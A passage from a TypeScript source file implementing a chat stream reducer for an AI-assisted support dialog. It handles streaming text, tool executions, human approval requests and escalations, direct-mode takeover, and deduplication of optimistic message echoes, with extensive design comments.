being exactly `pending | approved | rejected | cancelled`,\n   * \"resolved beats pending\" is a total order that gets both directions\n   * right: take the persisted value when ours is `pending` and theirs isn't;\n   * keep ours otherwise. Persisted entries still fill in every request-id the\n   * stream hasn't seen (other dialogs, pre-session history).\n   */\n  mergeApprovalStatuses(persisted: Record<string, ChatApprovalStatus>): void\n  setDirectMode(isDirectMode: boolean): void\n  setDialogTokenUsage(usage: DialogTokenUsage | null): void\n  /** +1/-1 windows during catchup replay (suppresses agent-busy locks). */\n  adjustAgentBusySuppression(delta: number): void\n  armAdoptTrailingAssistant(value: boolean): void\n\n  // ── Cross-side projections (dialog-store fan-out) ───────────────────────\n  projectApprovalResolution(\n    requestId: string,\n    status: ChatApprovalStatus,\n    resolvedByName?: string | null,\n  ): void\n  projectToolExecution(segment: ToolExecutionSegment): void\n\n  /**\n   * The seq gate's current value (`-Infinity` before anything seq-carrying was\n   * applied). Not part of `state` — it is bookkeeping, not render input — but\n   * a host that PARKS a reducer (LRU eviction, dialog swap) needs it to\n   * restore idempotency on the recreated instance via\n   * `initializeWithState(messages, { lastAppliedSeq })`.\n   */\n  getLastAppliedSeq(): number\n\n  /**\n   * Currently-armed optimistic-echo entries. Same rationale as\n   * `getLastAppliedSeq`: not render input, but a host that PARKS a reducer\n   * needs them to restore echo dedup on the recreated instance via\n   * `initializeWithState(messages, { pendingEchoes })` — otherwise an echo\n   * in flight across the eviction renders a duplicate user bubble.\n   */\n  getPendingEchoes(): readonly PendingEcho[]\n\n  // ── Legacy processor surface (compat wrapper) ───────────────────────────\n  getSegments(): MessageSegment[]\n  updateApprovalStatus(\n    requestId: string,\n    status: ChatApprovalStatus,\n    resolvedByName?: string | null,\n  ): MessageSegment[]\n  getPendingEscalated(): Map<string, EscalatedApprovalData>\n}\n\n// Actions allowed through once the dialog is in direct mode. Everything else\n// is an AI-assistant event and gets dropped — an allowlist so any future\n// assistant event is blocked by default.\nfunction isDirectModeAllowed(event: ChatStreamEvent): boolean {\n  return event.type === 'participant' || event.type === 'dialog-closed'\n}\n\nexport function createChatStreamReducer(\n  options: ChatStreamReducerOptions = {},\n): ChatStreamReducer {\n  const {\n    transport = 'nats',\n    batchApprovalsEnabled = true,\n    displayApprovalTypes = ['CLIENT'],\n    callbacks = {},\n    crossMessageToolRouting = true,\n    onEffect,\n    onChange,\n  } = options\n\n  // ── Mutable internals ──────────────────────────────────────────────────\n  let messages: UnifiedChatMessage[] = []\n  let streamingPhase: StreamingPhase = 'idle'\n  let dialogTokenUsage: DialogTokenUsage | null = null\n  let liveModel: ChatReducerState['liveModel'] = null\n  let guideConversationId: string | null = null\n  let approvalStatuses: Record<string, ChatApprovalStatus> = {\n    ...(options.approvalStatuses ?? {}),\n  }\n\n  const accumulator: MessageSegmentAccumulator = createMessageSegmentAccumulator(callbacks)\n\n  // Stream-window flags (chunk-processor parity).\n  let isInStream = false\n  let hasEverStreamed = false\n\n  // Direct-mode barrier.\n  let directModeFlag = options.isDirectMode ?? false\n  let sawDirectMessage = false\n  let directTeardownFired = false\n\n  // Escalated approvals (single or batch).\n  const pendingEscalated = new Map<string, EscalatedApprovalData>()\n\n  // Idempotency. The per-participant seen-seq set that used to live here was\n  // REMOVED as redundant: `apply()`'s global gate already drops any event\n  // whose seq was applied before, so a seq-carrying participant row can never\n  // reach the handlers twice.\n  let lastAppliedSeq = Number.NEGATIVE_INFINITY\n  let pendingEchoTexts: PendingEcho[] = []\n  /** `Date.now()` of the last observed `turn-start`; 0 = none seen yet.\n   *  Bounds `purgeEchoesAtTurnEnd` — see there. */\n  let turnStartedAt = 0\n\n  /** Consume a one-shot optimistic-echo entry for `text`. Returns true when\n   *  this inbound row IS our own echo and must not render.\n   *\n   *  `authorMatched` widens the expiry window (`OWN_ECHO_AUTHOR_TTL_MS` vs\n   *  `OWN_ECHO_TTL_MS`) — it does NOT remove it. The author check rules out a\n   *  colleague's message, not the same user's second tab, so an entry whose\n   *  echo never landed must still age out or it eventually swallows a real\n   *  message. `MAX_PENDING_ECHOES` bounds growth on both paths. */\n  function consumeOwnEcho(text: string, authorMatched = false): boolean {\n    if (pendingEchoTexts.length === 0) return false\n    const now = Date.now()\n    // Purge at the WIDEST bound only: a short-TTL (unattributed) lookup must\n    // not evict an entry that a later author-matched row is still entitled to\n    // consume. The per-path window is applied at match time instead.\n    pendingEchoTexts = pendingEchoTexts.filter((e) => now - e.at < OWN_ECHO_AUTHOR_TTL_MS)\n    const ttl = authorMatched ? OWN_ECHO_AUTHOR_TTL_MS : OWN_ECHO_TTL_MS\n    const idx = pendingEchoTexts.findIndex((e) => e.text === text && now - e.at < ttl)\n    if (idx === -1) return false\n    pendingEchoTexts.splice(idx, 1)\n    return true\n  }\n\n  /** Disarm every echo entry that was armed BEFORE the turn this `turn-end`\n   *  closes (i.e. before the last observed `turn-start`).\n   *\n   *  A `turn-end` is proof the server finished processing everything it had\n   *  accepted up to that point, so an echo for a send made BEFORE the turn\n   *  opened that has not landed by now never will (dropped frame, backend\n   *  text normalization, reconnect gap). Keeping the entry armed for the full\n   *  `OWN_ECHO_AUTHOR_TTL_MS` preserves up to ten minutes in which the same\n   *  user's identical send from a SECOND TAB is silently swallowed — the\n   *  message-LOSS failure this module ranks strictly worse than the duplicate\n   *  row it trades against. Draining at the turn boundary cuts that window\n   *  from ten minutes to one turn.\n   *\n   *  The purge is SELECTIVE (`at > turnStartedAt`) rather than unconditional:\n   *  an entry armed DURING the turn being ended is not stale by the argument\n   *  above — its echo is still in flight — and dropping it duplicates the\n   *  user's bubble. Such entries survive to their normal author TTL; entries\n   *  from earlier turns still drain here.\n   *\n   *  WHAT THIS COVERS, EXACTLY. `turnStartedAt` is the ARRIVAL wall-clock of\n   *  the last `turn-start` this reducer saw, NOT the event's own time: the\n   *  normalized event union carries no timestamp. `ChatStreamEventBase` has a\n   *  single optional field, `seq` (JetStream `streamSeq`, lifted by\n   *  `decodeNatsChunk`); the SSE decoder emits a bare `{ type: 'turn-start' }`\n   *  with no envelope at all. The boundary is therefore an ARRIVAL order, and\n   *  only these cases are actually handled:\n   *\n   *  - COVERED — a `turn-end` with NO observed `turn-start` purges nothing\n   *    (`turnStartedAt` starts at 0; there is no boundary to be stale\n   *    relative to). This is the approval-interrupt shape as the adapter\n   *    drives it — sending while an approval pends cancels the in-flight\n   *    turn, so the interrupted turn's `turn-end` lands after the new send\n   *    armed its entry — and any stale `turn-end` on a fresh reducer.\n   *  - COVERED — `turn-start` observed BEFORE the send, `turn-end` after: the\n   *    entry was armed past the boundary and survives.\n   *  - NOT COVERED — a reconnect catch-up replay that delivers BOTH a\n   *    pre-disconnect `turn-start` and its `turn-end` after the user has\n   *    already sent. The replayed `turn-start` restamps `turnStartedAt` to\n   *    now, so the following `turn-end` purges a still-live entry and the\n   *    echo renders a SECOND bubble. This is not fixable at this layer: with\n   *    no event-own timestamp, that interleaving is indistinguishable from\n   *    \"the send was queued mid-turn, and this reducer's own turn opened and\n   *    closed before the echo landed\" — a case the module deliberately\n   *    resolves toward the duplicate row rather than risk swallowing a real\n   *    message. `seq` does not disambiguate it either: a replay whose seqs\n   *    were already applied is dropped by `apply()`'s idempotency gate before\n   *    reaching here, so any replay that DOES reach here carries\n   *    strictly-increasing unseen seqs — exactly what a live turn carries.\n   *    Pinned by the \"a replayed turn boundary after a send duplicates the\n   *    bubble\" test. Fix it by giving the transport an event-own time, not by\n   *    widening the purge here.\n   *\n   *  `OWN_ECHO_AUTHOR_TTL_MS` remains the backstop for dialogs that never\n   *  report a turn boundary at all.\n   *\n   *  Same-millisecond ties break toward PURGING (`>`, not `>=`): a send and\n   *  the turn it opened share a timestamp, and that entry IS the pre-turn\n   *  one. A send made DURING a turn is a human action a turn-start later, so\n   *  it never ties in practice. */\n  function purgeEchoesAtTurnEnd(): void {\n    if (pendingEchoTexts.length === 0) return\n    if (turnStartedAt === 0) return\n    pendingEchoTexts = pendingEchoTexts.filter((e) => e.at > turnStartedAt)\n  }\n\n  /** Resolve `selfUserId` AT EVENT TIME — a getter lets the host track auth\n   *  rehydration / user switches on a reducer that outlives both. */\n  function resolveSelfUserId(): string | undefined {\n    const self = options.selfUserId\n    return typeof self === 'function' ? self() : self\n  }\n\n  /** One-shot: the host configured `selfUserId` but inbound rows carry none,\n   *  so the author guard is inert and dedup silently degrades to text+TTL. */\n  let warnedIdLessAuthor = false\n  function warnIdLessAuthor(): void {\n    if (warnedIdLessAuthor) return\n    warnedIdLessAuthor = true\n    console.warn(\n      '[chat] selfUserId is configured but an inbound MESSAGE_REQUEST carries no userId — ' +\n        'the author echo guard is inert and dedup falls back to text + TTL matching. ' +\n        'Check the transport decoder surfaces the author id (the ticket wire model ' +\n        'declares it at `owner.userId`) and that it is in the SAME id space as selfUserId.',\n    )\n  }\n\n  // Adapter-armed flags.\n  let suppressAgentBusy = 0\n  let adoptTrailingAssistant = false\n\n  // SSE per-send maps + per-turn kernel.\n  const metaMap = new Map<number, ChatTurnMeta>()\n  const sourcesMap = new Map<number, unknown[]>()\n  let sendCount = 0\n  let sseCurrentText = ''\n\n  // ── Snapshot cache ─────────────────────────────────────────────────────\n  let stateCache: ChatReducerState | null = null\n  function invalidate(): void {\n    stateCache = null\n    onChange?.()\n  }\n  function getState(): ChatReducerState {\n    if (!stateCache) {\n      stateCache = {\n        messages,\n        streamingPhase,\n        turnMeta: { meta: metaMap, sources: sourcesMap, sendCount },\n        dialogTokenUsage,\n        liveModel,\n        approvalStatuses,\n        guideConversationId,\n      }\n    }\n    return stateCache\n  }\n\n  function emit(name: ChatReducerEffect['name'], ...args: unknown[]): void {\n    onEffect?.({ name, args })\n  }\n\n  function setMessagesInternal(next: UnifiedChatMessage[]): void {\n    if (next !== messages) {\n      messages = next\n      invalidate()\n    }\n  }\n\n  function setPhaseInternal(phase: StreamingPhase): void {\n    if (streamingPhase !== phase) {\n      streamingPhase = phase\n      invalidate()\n    }\n  }\n\n  /** onAgentBusy state semantics: only 'idle' upgrades to 'thinking'; an\n   *  open stream keeps ownership. Suppressed during catchup replay. */\n  function agentBusyState(): void {\n    if (suppressAgentBusy > 0) return\n    if (streamingPhase === 'idle') setPhaseInternal('thinking')\n  }\n\n  function mirrorApprovalStatus(requestId: string, status: ChatApprovalStatus): void {\n    if (approvalStatuses[requestId] === status) return\n    approvalStatuses = { ...approvalStatuses, [requestId]: status }\n    invalidate()\n  }\n\n  // ===========================================================================\n  // NATS kernel — the absorbed chunk-processor switch + adapter callbacks body\n  // ===========================================================================\n\n  /**\n   * Stamp the highest consumed chunk seq onto the trailing assistant row.\n   *\n   * This is what `mergeHistoryWithRealtime` decides coverage with, per message.\n   * Leave it off and the merge has no per-row signal, so it falls through to\n   * the wall-clock fallback — \"this synthetic predates the fetch instant, so\n   * history must contain it\" — which is false for any turn the backend has not\n   * finished persisting. A history refetch mid-stream (the one a reconnect\n   * fires) then drops every live assistant bubble except the one that happens\n   * to be `streamingMessageId`, leaving the thread as just the persisted user\n   * prompt. The host store used to stamp this from the `onSegmentsUpdate`\n   * metadata; now the reducer owns the thread, so it owns the stamp.\n   *\n   * Monotonic: replay can re-apply an older seq, and coverage must never go\n   * backwards.\n   */\n  function stampTrailingAssistantSeq(\n    next: UnifiedChatMessage[],\n    seq: number | undefined,\n  ): UnifiedChatMessage[] {\n    if (typeof seq !== 'number') return next\n    const last = next[next.length - 1]\n    if (!last || last.role !== 'assistant') return next\n    if (typeof last.streamSeq === 'number' && last.streamSeq >= seq) return next\n    return [...next.slice(0, -1), { ...last, streamSeq: seq }]\n  }\n\n  function applySegmentsToState(segments: MessageSegment[], meta?: SegmentsUpdateMetadata): void {\n    const seq = meta?.streamSeq\n    // Standalone compaction updates carry the accumulator's cumulative\n    // array — apply only the compaction segment (upsert) or interleaved\n    // continuation text would duplicate.\n    if (meta?.append && meta.isCompacting) {\n      setMessagesInternal(stampTrailingAssistantSeq(upsertTrailingCompaction(messages, segments), seq))\n      return\n    }\n    // Post-MESSAGE_END continuation fragments append into the existing\n    // bubble; replacing would wipe the completed reply.\n    if (meta?.append) {\n      setMessagesInternal(stampTrailingAssistantSeq(appendToTrailingAssistant(messages, segments), seq))\n      return\n    }\n    setMessagesInternal(stampTrailingAssistantSeq(updateTrailingAssistant(messages, segments), seq))\n  }\n\n  function applyStreamStartToState(): void {\n    setPhaseInternal('streaming')\n    // A new stream must never overwrite a COMPLETED trailing assistant\n    // bubble (observer tab / second device / post-approval continuation\n    // turn). Open a fresh bubble unless the trailing assistant is empty\n    // (our own optimistic placeholder) or is the incomplete history tail\n    // the catchup replay is legitimately re-streaming (adopt-once flag).\n    const adoptTail = adoptTrailingAssistant\n    adoptTrailingAssistant = false\n    const last = messages[messages.length - 1]\n    if (!last || last.role !== 'assistant' || adoptTail) return\n    const hasContent = (last.segments?.length ?? 0) > 0 || last.content !== ''\n    if (!hasContent) return\n    setMessagesInternal([\n      ...messages,\n      { id: nextId('assistant'), role: 'assistant', content: '', segments: [] },\n    ])\n  }\n\n  /** MESSAGE_REQUEST echo — a user message from THIS or another session.\n   *  Dedup layers in priority order: seq identity → one-shot optimistic-echo\n   *  consumption → same-author content window (seq-less transports only). */\n  function applyUserMessageToState(ev: ParticipantEvent): void {\n    const text = ev.text\n    if (!text) return\n    const seq = ev.seq\n    // ADMIN rows are only echo-consumable when the host declares that its\n    // operator IS the admin (see `ownEchoIncludesAdmin`). Otherwise an\n    // ADMIN row is someone else's message and must always render.\n    const adminEchoAllowed =\n      ev.ownerType !== CHAT_OWNER_ADMIN || options.ownEchoIncludesAdmin === true\n    // AUTHOR guard: with `selfUserId` configured, a row that DECLARES a\n    // DIFFERENT author may not consume an echo entry. Two technicians on the\n    // same ADMIN side both author ADMIN rows, so text alone cannot tell \"my\n    // echo\" from \"their message\".\n    //\n    // It fails OPEN on an id-less row: the decoder may not surface the author\n    // (the ticket wire model declares it at `owner.userId`, and the app's id\n    // may live in another id space entirely), and treating \"unattributed\" as\n    // \"not mine\" would disable dedup outright — every send rendered TWICE,\n    // strictly worse than the bug the guard fixes. Unattributed rows fall back\n    // to the text + TTL behaviour, with a one-shot warning so the\n    // misconfiguration is observable.\n    const selfUserId = resolveSelfUserId()\n    const authorDeclared = typeof ev.userId === 'string' && ev.userId !== ''\n    if (selfUserId !== undefined && !authorDeclared) warnIdLessAuthor()\n    const authorMatched = selfUserId !== undefined && authorDeclared && ev.userId === selfUserId\n    const authorEchoAllowed = selfUserId === undefined || !authorDeclared || authorMatched\n    if (adminEchoAllowed && authorEchoAllowed && consumeOwnEcho(text, authorMatched)) return\n    const authorType = ev.ownerType === CHAT_OWNER_ADMIN ? ('admin' as const) : ('user' as const)\n    if (\n      typeof seq !== 'number' &&\n      hasRecentMessage(\n        messages,\n        (m) => m.role === 'user' && (m.authorType ?? 'user') === authorType && m.content === text,\n        CONTENT_DEDUP_WINDOW,\n      )\n    ) {\n      return\n    }\n    setMessagesInternal([\n      ...messages,\n      {\n        id: nextId('user'),\n        role: 'user',\n        content: text,\n        // Coverage signal for the history merge — see `streamSeq` on\n        // `UnifiedChatMessage`. For `user-` rows it is also what tells a\n        // REPLAYED echo (history already has its row) apart from a genuine new\n        // send that merely repeats an earlier text.\n        ...(typeof seq === 'number' ? { streamSeq: seq } : {}),\n        ...(ev.displayName ? { name: ev.displayName } : {}),\n        authorType,\n        ...(ev.contextItems && ev.contextItems.length > 0\n          ? { contextItems: ev.contextItems }\n          : {}),\n      },\n    ])\n  }\n\n  /** Technician / admin direct message into the dialog. */\n  function applyDirectMessageToState(ev: ParticipantEvent): void {\n    const text = ev.text\n    if (!text) return\n    const seq = ev.seq\n    // Seq-less fallback matches only prior ADMIN-authored twins — a client's\n    // identical text must never suppress the technician's.\n    if (\n      typeof seq !== 'number' &&\n      hasRecentMessage(\n        messages,\n        (m) => m.role === 'user' && m.authorType === 'admin' && m.content === text,\n        CONTENT_DEDUP_WINDOW,\n      )\n    ) {\n      return\n    }\n    setMessagesInternal([\n      ...messages,\n      {\n        id: `direct-${Date.now()}-${Math.random().toString(36).slice(2, 7)}`,\n        role: 'user',\n        content: text,\n        ...(typeof seq === 'number' ? { streamSeq: seq } : {}),\n        name: ev.displayName ?? 'Admin',\n        authorType: 'admin',\n      },\n    ])\n  }\n\n  /** System notice — rendered as a name-only row (same shape the history\n   *  processor produces via its standalone-SYSTEM path). */\n  function applySystemMessageToState(ev: ParticipantEvent): void {\n    const text = ev.text\n    if (!text) return\n    const seq = ev.seq\n    if (\n      typeof seq !== 'number' &&\n      hasRecentMessage(\n        messages,\n        (m) => m.authorType === 'system' && m.name === text,\n        SYSTEM_DEDUP_WINDOW,\n      )\n    ) {\n      return\n    }\n    setMessagesInternal([\n      ...messages,\n      {\n        id: `system-${Date.now()}-${Math.random().toString(36).slice(2, 7)}`,\n        role: 'user',\n        content: '',\n        ...(typeof seq === 'number' ? { streamSeq: seq } : {}),\n        name: text,\n        authorType: 'system',\n      },\n    ])\n  }\n\n  function applyNats(event: ChatStreamEvent): void {\n    const seq = event.seq\n    const withSeqMeta = (meta?: SegmentsUpdateMetadata): SegmentsUpdateMetadata | undefined =>\n      seq != null ? { ...meta, streamSeq: seq } : meta\n    const emitSegments = (segments: MessageSegment[], meta?: SegmentsUpdateMetadata) =>\n      emit('onSegmentsUpdate', segments, withSeqMeta(meta))\n\n    /**\n     * Emit + apply an accumulator result, choosing REPLACE vs APPEND the same\n     * way `text-delta` does — and it must be chosen, not defaulted.\n     *\n     * `turn-end` calls `accumulator.resetSegments()`, so after a turn closes the\n     * accumulator's cumulative array holds ONLY what was added since. Applying\n     * that array in replace mode overwrites the finished answer: a\n     * post-MESSAGE_END approval card or error used to reduce a completed bubble\n     * to `[approval_request]` / `[error]` and the reply was gone. Post-END\n     * arrivals are routine (an approved command executes between the approval\n     * bubble and the continuation stream, and catchup replays everything after\n     * the last MESSAGE_END with no preceding `turn-start`).\n     *\n     * `before` is the accumulator's segment count taken BEFORE the add, so the\n     * appended slice is exactly the new segments — never a hand-rebuilt copy\n     * that could drift from the accumulator's shape (which stamps\n     * `onApprove`/`onReject` handlers), and never a positional guess. An add\n     * that UPSERTS in place (a redelivered card) yields an empty slice and is\n     * correctly a no-op here: status flips travel through `approval-resolved`.\n     *\n     * Cold start (`!hasEverStreamed`) stays cumulative: with no bubble to append\n     * into, the first card of a session would otherwise render nothing.\n     */\n    const applyAccumulated = (before: number, segments: MessageSegment[]): void => {\n      if (isInStream || !hasEverStreamed) {\n        emitSegments(segments)\n        applySegmentsToState(segments, withSeqMeta(undefined))\n        return\n      }\n      const added = segments.slice(before)\n      if (added.length === 0) return\n      emitSegments(added, { append: true })\n      applySegmentsToState(added, withSeqMeta({ append: true }))\n    }\n\n    if (event.type === 'participant' && event.kind === 'direct-message') {\n      sawDirectMessage = true\n    }\n\n    if ((directModeFlag || sawDirectMessage) && !isDirectModeAllowed(event)) {\n      // Hard stop: tear down AI activity exactly once so the typing\n      // indicator, composer lock, and half-rendered bubble clear, then drop\n      // the event. Fires even when no stream is open — an agent-busy lock\n      // (approved commands executing post-MESSAGE_END) has no other release\n      // once the barrier starts dropping the continuation chunks.\n      if (isInStream || !directTeardownFired) {\n        isInStream = false\n        directTeardownFired = true\n        emit('onStreamEnd')\n        setPhaseInternal('idle')\n        accumulator.resetSegments()\n      }\n      return\n    }\n\n    switch (event.type) {\n      case 'turn-start': {\n        isInStream = true\n        hasEverStreamed = true\n        turnStartedAt = Date.now()\n        emit('onStreamStart')\n        applyStreamStartToState()\n        accumulator.resetSegments()\n        break\n      }\n\n      case 'turn-end': {\n        isInStream = false\n        purgeEchoesAtTurnEnd()\n        emit('onStreamEnd')\n        setPhaseInternal('idle')\n        accumulator.resetSegments()\n        break\n      }\n\n      case 'metadata': {\n        // A guide metadata event carries ONLY the hub's conversation id (the\n        // decoder strips the rest): record it and stop. Falling through would\n        // rebuild `liveModel` from an event with no model in it and blank the\n        // dialog's model badge mid-answer.\n        if (isGuideOrigin(event)) {\n          if (typeof event.conversationId === 'string' && event.conversationId) {\n            guideConversationId = event.conversationId\n            invalidate()\n          }\n          break\n        }\n        // Legacy `parseChunkToAction` action shape, reconstructed for the\n        // callback contract.\n        emit('onMetadata', {\n          action: 'metadata',\n          modelDisplayName: event.modelLabel ?? undefined,\n          modelName: event.modelName,\n          providerName: event.provider,\n          contextWindow: event.contextWindowMaxTokens,\n        })\n        liveModel = {\n          provider: event.provider || null,\n          modelLabel: event.modelLabel || event.modelName || null,\n          contextWindowMaxTokens: event.contextWindowMaxTokens || null,\n        }\n        invalidate()\n        break\n      }\n\n      // The three APPEND-ONLY body streams share one shape: accumulate the\n      // verbatim slice into the trailing segment of the matching kind (the\n      // accumulator coalesces), then emit. `guide-delta` is NATS-only today\n      // but rides the identical path so a guide body streams, coalesces and\n      // continues post-MESSAGE_END exactly like answer text.\n      case 'text-delta':\n      case 'thinking-delta':\n      case 'guide-delta': {\n        const kind =\n          event.type === 'text-delta'\n            ? 'text'\n            : event.type === 'thinking-delta'\n              ? 'thinking'\n              : 'guide'\n        const segments =\n          kind === 'text'\n            ? accumulator.appendText(event.text)\n            : kind === 'thinking'\n              ? accumulator.appendThinking(event.text)\n              : accumulator.appendGuide(event.text)\n        // Append-mode only for *true* post-stream continuation (after a\n        // MESSAGE_END we actually saw). Cold-start chunks (no prior\n        // MESSAGE_START) emit cumulative segments so the consumer can spawn\n        // the first assistant bubble.\n        if (isInStream || !hasEverStreamed) {\n          emitSegments(segments)\n          applySegmentsToState(segments, withSeqMeta(undefined))\n        } else {\n          const delta: MessageSegment[] = [{ type: kind, text: event.text }]\n          emitSegments(delta, { append: true })\n          applySegmentsToState(delta, withSeqMeta({ append: true }))\n        }\n        break\n      }\n\n      // A clarification card arrives whole, not as deltas. The intro sentence\n      // riding the same chunk goes in FIRST as ordinary answer text so it runs\n      // through the markdown body pipeline (and coalesces with any preamble the\n      // turn already streamed); the card follows as its own segment. Both land\n      // in one emit, so the bubble never shows the card ahead of its lead-in.\n      case 'ask': {\n        if (event.text) accumulator.appendText(event.text)\n        const segments = accumulator.addAsk(event.question, event.options)\n        if (isInStream || !hasEverStreamed) {\n          emitSegments(segments)\n          applySegmentsToState(segments, withSeqMeta(undefined))\n          break\n        }\n        // Post-MESSAGE_END: the delta is spelled out rather than sliced off the\n        // accumulator. `appendText` COALESCES into a trailing text segment, so a\n        // slice would silently drop the intro whenever the continuation already\n        // had text in flight; `appendToTrailingAssistant` re-coalesces it here\n        // instead, exactly like a `text-delta`.\n        const delta: MessageSegment[] = [\n          ...(event.text ? [{ type: 'text' as const, text: event.text }] : []),\n          { type: 'ask' as const, question: event.question, options: event.options },\n        ]\n        emitSegments(delta, { append: true })\n        applySegmentsToState(delta, withSeqMeta({ append: true }))\n        break\n      }\n\n      case 'tool-execution': {\n        const segment: ToolExecutionSegment = { type: 'tool_execution', data: event.data }\n        // A starting tool run means the agent's turn is in progress even\n        // when this lands after MESSAGE_END (approved commands execute\n        // between the approval bubble and the continuation stream).\n        if (event.data.type === 'EXECUTING_TOOL') {\n          emit('onAgentBusy')\n          agentBusyState()\n        }\n        // Post-MESSAGE_END tool chunks (cancellations / async batch results\n        // for a batch in a prior bubble) flow only through the cross-message\n        // updater. Skipping the accumulator avoids pushing a standalone\n        // segment that the next text chunk would replay into a new bubble.\n        if (!isInStream && crossMessageToolRouting) {\n          emit('onToolExecuted', segment)\n          setMessagesInternal(applyToolExecutionToMessages(messages, segment))\n          break\n        }\n        // In-stream: accumulator-driven update of the streaming bubble is\n        // the source of truth. The cross-message scan is first-match-wins\n        // and could touch a same-execId segment in a prior bubble (agent\n        // retry case), so it is NOT run here.\n        const segments = accumulator.addToolExecution(segment)\n        emitSegments(segments)\n        applySegmentsToState(segments, withSeqMeta(undefined))\n        break\n      }\n\n      case 'approval-request': {\n        const requestId = event.requestId\n        const approvalType = event.approvalType ?? 'USER'\n        const toolCalls = event.toolCalls\n        // Where this card renders is ONE rule, shared with the SSE kernel and\n        // the history replay (`approval-display`) — a Product Guide proposal\n        // that renders inline live must not move on the next page load.\n        const guideOrigin = guideApprovalOrigin(event)\n        const displayInline = (type: string) =>\n          approvalDisplaysInline(event, type, displayApprovalTypes)\n\n        if (toolCalls && toolCalls.length > 0) {\n          // ── Batch form ──\n          const status = (approvalStatuses[requestId] || 'pending') as ChatApprovalStatus\n          if (!displayInline(approvalType)) {\n            // Escalated: keep batch context locally for replay on result;\n            // surface a summary command via the legacy escalation callback.\n            const required = toolCalls.find((c) => c.requiresApproval) ?? toolCalls[0]\n            const summary = required\n              ? getCommandText(required)\n              : `Batch of ${toolCalls.length} tool calls`\n            pendingEscalated.set(requestId, {\n              command: summary,\n              explanation: required?.toolExplanation,\n              approvalType,\n              toolCalls,\n            })\n            emit('onEscalatedApproval', requestId, {\n              command: summary,\n              explanation: required?.toolExplanation,\n              approvalType,\n            })\n            break\n          }\n          if (batchApprovalsEnabled) {\n            const before = accumulator.getSegments().length\n            const segments = accumulator.addApprovalBatch(\n              requestId,\n              approvalType,\n              toolCalls,\n              status,\n              undefined,\n              undefined,\n              guideOrigin,\n            )\n            applyAccumulated(before, segments)\n            break\n          }\n          // Flag OFF — unfold batch into N legacy approval cards. They share\n          // `requestId`, so a click on any will approve the whole batch via a\n          // single backend call, and the resulting APPROVAL_RESULT event will\n          // flip status on every matching segment.\n          let segments = accumulator.getSegments()\n          const before = segments.length\n          for (const call of toolCalls) {\n            if (!call.requiresApproval) continue\n            segments = accumulator.addApprovalRequest(\n              requestId,\n              getCommandText(call),\n              call.toolExplanation,\n              approvalType,\n              status,\n              undefined,\n              guideOrigin,\n            )\n          }\n          applyAccumulated(before, segments)\n          break\n        }\n\n        // ── Single form ──\n        const command = event.command ?? ''\n        const explanation = event.explanation\n        if (displayInline(approvalType)) {\n          const status = (approvalStatuses[requestId] || 'pending') as ChatApprovalStatus\n          const before = accumulator.getSegments().length\n          const segments = accumulator.addApprovalRequest(\n            requestId,\n            command,\n            explanation,\n            approvalType,\n            status,\n            // SSE-shaped cards (a re-streamed Product Guide proposal) carry\n            // their body as structured rows rather than prose.\n            event.fields,\n            guideOrigin,\n          )\n          applyAccumulated(before, segments)\n        } else {\n          pendingEscalated.set(requestId, { command, explanation, approvalType })\n          emit('onEscalatedApproval', requestId, { command, explanation, approvalType })\n        }\n        break\n      }\n\n      case 'approval-resolved': {\n        const requestId = event.requestId ?? ''\n        const status = event.status\n        const approved = status === 'approved'\n        const approvalType = event.approvalType ?? 'CLIENT'\n        const resolvedByName = event.resolvedByName\n        // Approved → the agent resumes to execute the command(s); surface\n        // busy immediately so the composer locks before EXECUTING_TOOL\n        // lands. Rejection keeps the input free — the user may want to type\n        // a correction right away.\n        if (approved) {\n          emit('onAgentBusy')\n          agentBusyState()\n        }\n        const escalatedData = pendingEscalated.get(requestId)\n\n        if (escalatedData) {\n          pendingEscalated.delete(requestId)\n          emit('onEscalatedApprovalResult', requestId, approved, {\n            command: escalatedData.command,\n            explanation: escalatedData.explanation,\n            approvalType: escalatedData.approvalType,\n          })\n\n          // The escalated card was never displayed inline, so this emit is\n          // what surfaces it after resolution. In-stream the cumulative\n          // array is correct; post-MESSAGE_END the accumulator was RESET, so\n          // a cumulative (replace-mode) emit would wipe the trailing bubble\n          // down to the lone card — emit only the resolved card(s) as an\n          // append instead. Appends upsert by request id, so a replayed\n          // append stays idempotent.\n          const emitResolved = (segments: MessageSegment[]) => {\n            if (isInStream) {\n              emitSegments(segments)\n              applySegmentsToState(segments, withSeqMeta(undefined))\n              return\n            }\n            const delta = segments.filter(\n              (s) =>\n                (s.type === 'approval_request' && s.data.requestId === requestId) ||\n                (s.type === 'approval_batch' && s.data.approvalRequestId === requestId),\n            )\n            emitSegments(delta, { append: true })\n            applySegmentsToState(delta, withSeqMeta({ append: true }))\n          }\n\n          if (escalatedData.toolCalls && escalatedData.toolCalls.length > 0) {\n            if (batchApprovalsEnabled) {\n              emitResolved(\n                accumulator.addApprovalBatch(\n                  requestId,\n                  escalatedData.approvalType,\n                  escalatedData.toolCalls,\n                  status,\n                  undefined,\n                  resolvedByName,\n                ),\n              )\n            } else {\n              let segments = accumulator.getSegments()\n              for (const call of escalatedData.toolCalls) {\n                if (!call.requiresApproval) continue\n                segments = accumulator.addApprovalRequest(\n                  requestId,\n                  getCommandText(call),\n                  call.toolExplanation,\n                  escalatedData.approvalType,\n                  status,\n                )\n              }\n              emitResolved(segments)\n            }\n          } else {\n            emitResolved(\n              accumulator.addApprovalRequest(\n                requestId,\n                escalatedData.command,\n                escalatedData.explanation,\n                escalatedData.approvalType,\n                status,\n              ),\n            )\n          }\n        } else {\n          // Always keep the in-memory accumulator in sync so a following\n          // text/tool event replays the resolved status into the message.\n          accumulator.updateApprovalStatus(requestId, status, resolvedByName)\n          // Conditional legacy emission — forwarded as onSegmentsUpdate only\n          // when the consumer did NOT wire onApprovalResolved (the wrapper\n          // resolves the condition at dispatch time).\n          emit('segments-after-approval-result', accumulator.getSegments(), withSeqMeta(undefined))\n        }\n\n        // Cross-message status flip + status-map mirror (absorbed adapter\n        // handler) — runs for both branches, matching the legacy adapter\n        // whose onApprovalResolved callback fired unconditionally.\n        setMessagesInternal(\n          projectApprovalResolutionToMessages(messages, requestId, status, resolvedByName),\n        )\n        mirrorApprovalStatus(requestId, status)\n        emit('onApprovalResolved', requestId, status, approvalType, resolvedByName)\n        break\n      }\n\n      case 'escalation-offer': {\n        // MUST route through `applyAccumulated`. The block reaches a client\n        // in three shapes — inline in Fae's live turn (tool origin), or with\n        // NO preceding MESSAGE_START when the backend surfaces a deferred\n        // offer at turn end or honours the header button while idle. In the\n        // latter shapes a cumulative emit would replace the trailing bubble's\n        // segments with the lone card, wiping the reply the user is reading.\n       